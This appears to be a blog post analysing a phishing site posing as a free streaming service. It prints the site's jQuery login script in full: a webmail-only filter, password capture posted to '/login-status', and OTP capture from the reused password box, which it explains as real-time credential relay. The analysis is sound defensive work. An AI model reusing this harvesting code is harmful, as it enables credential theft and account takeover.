Post cover image

August 24, 2026

These sites can steal your data …

By Root_User (1)

5 min read

So i came across this site ___mirror._g . this site has movies/shows straight up from Netflix, Prime Video and major streaming platforms and you know what you can watch them all for free !

when you open the url __mirror.g, you come up with a pretty simple page dual tone (light green and white) looks like a legitimate site. "Everything You Love to Watch", "Unlimited entertainment is just a click away. Use our app or website anytime, anywhere — completely free for everyone." this heading and subheading is popping up on that page. below the heading and subheading there is green button "Go to Home".

None

When you click that Green "Go to Home" button the site will direct you to the login — form page the most interesting part of this site. login form has pretty simple visuals — like a legitimate site. you can access all the content after login but wait! there's something unusual …

The form has "Welcome back

Sign in to access Unlimited Entertainment

" as its title , below that there is google Auth button and the form seperates the manual and google auth field with a fine line. there are two input fields if you are doing it manually. it asks for your Email (this should be a Popular Mail ID Like Gmail, HotMail, Yahoo and Few More…). and Password. and below that there is Green "Sign in" button.

None

I found the form bit weird and i instantly switched to developer options(ctrl+shift+I). i checked the script in html and what i found was an open attempt of credentials-phishing.

I am sharing their script take a look at it closely — — -

$("#wp-submit").click(function(){
var email =  $("#email").val();
var pass =  $("#password").val();
var testEmail = /^[A-Z0-9._%+-]+@([A-Z0-9-]+\.)+[A-Z]{2,4}$/i;
var emailLegalReg =  /^([\w
.]+@(?!gmail\.com)(?!googlemail)(?!yahoo)(?!myyahoo)(?!hotmail)(?!outlook)(?!live\.com)(?!icl
oud\.com)(?!aol\.com)(?!protonmail\.com)(?!proton\.me)(?!mail\.ru)(?!yandex)(?!mail\.com)([
\w-]+.)+[\w-]{2,4})?$/;
if (!emailLegalReg.test(email) && testEmail.test(email)){
clean_alert_msg();
alert_msg("warning","");
$.ajax({type: "POST", url: "/login-status", data:{email:email,pass:pass}, success: function(result){
if(result.s==1){$("#loginform").addClass("active-otp");$("#wp-submit-otp").addClass("active");}
clean_alert_msg();
alert_msg(result.col,result.msg);
},
error: function () {clean_alert_msg();alert_msg("warning","Internet Connection Error.");}
});
}else{clean_alert_msg();alert_msg("warning","Only Popular Mail IDs Like Gmail, HotMail, Yahoo
and Few More is Allowed.");}
});
1
2
$("#wp-submit-otp").click(function(){
var mail =  $("#email").val();
var otp =  $("#password").val();
clean_alert_msg();
alert_msg("warning","");
3
$.ajax({type: "POST", url: "/login-status", data:{mail:mail,otp:otp}, success: function(result2){
if(result2.s==1){setTimeout(function(){location.reload();}, 2000);}
clean_alert_msg();
alert_msg(result2.col,result2.msg);
},
error: function () {clean_alert_msg();alert_msg("warning","Internet Connection Error.");}
});
});
function google_login(){
var code =  $("body").attr("data-code");
clean_alert_msg();
alert_msg("warning","");
4
$.ajax({type: "POST", url: "/login-status", data:{code:code}, success: function(result2){
if(result2.s==1){setTimeout(function(){location.reload();}, 2000);}
clean_alert_msg();
alert_msg(result2.col,result2.msg);
},
error: function () {clean_alert_msg();alert_msg("warning","Internet Connection Error.");}
});
}
function alert_msg(color,msg,secs="10000") {
var msgsvg="";
if(color=="success"){var msgsvg ='<svg xmlns="http://www.w3.org/2000/svg" fill="none"
viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke
linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118
0z"></path></svg> ';}
if(color=="warning"){var msgsvg ='<svg xmlns="http://www.w3.org/2000/svg" fill="none"
viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke
linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118
0z"></path></svg>';}
if(color=="danger"){var msgsvg ='<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 mr
2" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke
linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667
1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732
3z"></path></svg>';}
if(msg==""){var msgsvg = '<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto;" viewBox="0 0 100 100"
preserveAspectRatio="xMidYMid"><circle cx="50" cy="50" fill="none" stroke="#e15b64" stroke
width="10" r="35" stroke-dasharray="164.93361431346415
56.97787143782138"><animateTransform attributeName="transform" type="rotate"
repeatCount="indefinite" dur="1s" values="0 50 50;360 50 50"
keyTimes="0;1"></animateTransform></circle></svg>';}
$("#alert_msg").addClass("active");
$("#alert_msg .alert_msg-0").html(msgsvg+msg).addClass(color);
$(".alert_msg-0").attr("data-aos","fade-down");
AOS.init();
var timeoutId2;
window.clearTimeout(timeoutId2);
//timeoutId2 = window.setTimeout(function(){clean_alert_msg();}, secs);
}
function clean_alert_msg(){
$("#alert_msg").removeClass("active");
$("#alert_msg .alert_msg-0").empty().removeClass("danger warning success");
$(".alert_msg-0").removeAttr("data-aos");
}
$(document).ready(function(){
});

What is actually wrong in this code snippet. let's see it one by one. This is a jQuery snippet from a website's login form, handling three flows: a password-based login submission, an OTP verification step, and a Google OAuth login.

1. The Provider Whitelist The regex below blocks any email domain that isn't one of a short list of major providers:

var emailLegalReg = /^([\w-.]+@(?!gmail\.com)(?!googlemail)(?!yahoo)(?!myyahoo) (?!hotmail)(?!outlook)(?!live\.com)(?!icloud\.com)(?!aol\.com)(?!protonmail\.com) (?!proton\.me)(?!mail\.ru)(?!yandex)(?!mail\.com)([\w-]+.)+[\w-]{2,4})?$/;

Why this is a red flag: A legitimate site wants more users, so it accepts any valid email — company addresses, college addresses, niche providers. There is no business reason to reject those. A phishing kit, by contrast, only cares about credentials it can reuse or resell, and that means the big webmail providers — because those accounts are often tied to banking and social-media recovery, and because the attacker's backend is typically built to auto-login to those specific providers and relay the real one-time passcode. Random custom-domain logins are useless to that pipeline, so the whitelist filters out anything the attacker can't exploit. That's the tell: it optimizes for what's valuable to steal, not for who's allowed to sign up.

2. Plaintext Credentials Sent via AJAX

var email = $("#email").val(); var pass = $("#password").val(); $.ajax({ type: "POST", url: "/login-status", data: { email: email, pass: pass }, … });

Posting credentials to a backend isn't inherently wrong for a login form. But paired with the provider whitelist, an OTP step, and a Google login flow using an opaque code — this looks built to capture credentials for specific webmail providers rather than authenticate users into the site's own service.

3. The OTP Flow Reuses the Password Field

$("#wp-submit-otp").click(function(){
  var mail = $("#email").val();
  var otp  = $("#password").val();   // <-- same field as the password step
  ...
});

This is the clearest tell in the whole snippet. The form doesn't add a new OTP field — it just relabels the existing password box and reads from it again. This matches a classic real-time phishing / credential relay pattern: the attacker's backend logs into the victim's real account with the stolen password, which triggers a genuine two-factor prompt from the real provider, and this page immediately asks the victim to type that code into the same box — which then gets relayed server-side to complete the attacker's login.

4. Google Login via an Opaque Data Attribute

function google_login(){
  var code = $("body").attr("data-code");
  $.ajax({ type: "POST", url: "/login-status", data: { code: code }, ... });
}

An OAuth code is pulled from a page attribute and POSTed to the same custom endpoint used by the password/OTP flows. Whether this is legitimate "Sign in with Google" or code/token theft depends entirely on what the backend does with it — which isn't visible from the front-end code alone, but its co-location with the other patterns above is suspicious.

Minor code quality issues…

  1. The domain blocklist regex is fragile — easy to bypass with casing or near-miss variants (e.g. "gmail.co" slips past the negative lookahead).
  2. No CSRF token is sent with any of the AJAX requests.
  3. No visible rate-limiting on the login/OTP endpoint — vulnerable to brute-forcing.
  4. A commented-out setTimeout for auto-clearing alerts suggests leftover debug code.

Verdict — — —

The code shows a pattern consistent with a credential-phishing kit, not an ordinary login form. Three design choices stand out and reinforce each other:

  1. An email whitelist that only accepts major webmail providers (Gmail, Yahoo, Hotmail, Outlook, iCloud, AOL, Proton, Mail.ru, Yandex, etc.) and rejects everything else.
  2. An OTP field that reuses the exact same input box as the password field, just relabelled — consistent with real-time credential relay attacks.
  3. A Google login flow that silently reads an OAuth code from a data attribute and POSTs it to a custom backend endpoint.

Conclusion — — — The combination of a major-webmail-only whitelist, password/OTP field reuse, and a silently POSTed Google OAuth code is consistent with a credential-phishing kit rather than a normal login form. there is no legitimate reason to need a Gmail/Yahoo/Outlook password, it should be treated as suspicious — real credentials should not be entered into it.

Be Careful while Entering your credentials on any site that you are unaware of.

_Site is __mirror.gg and it conducts its login through DODO and they has openly mentioned that they conducts their login process through DODO and even they have no clue how your data is being passed/manipulated through DODO.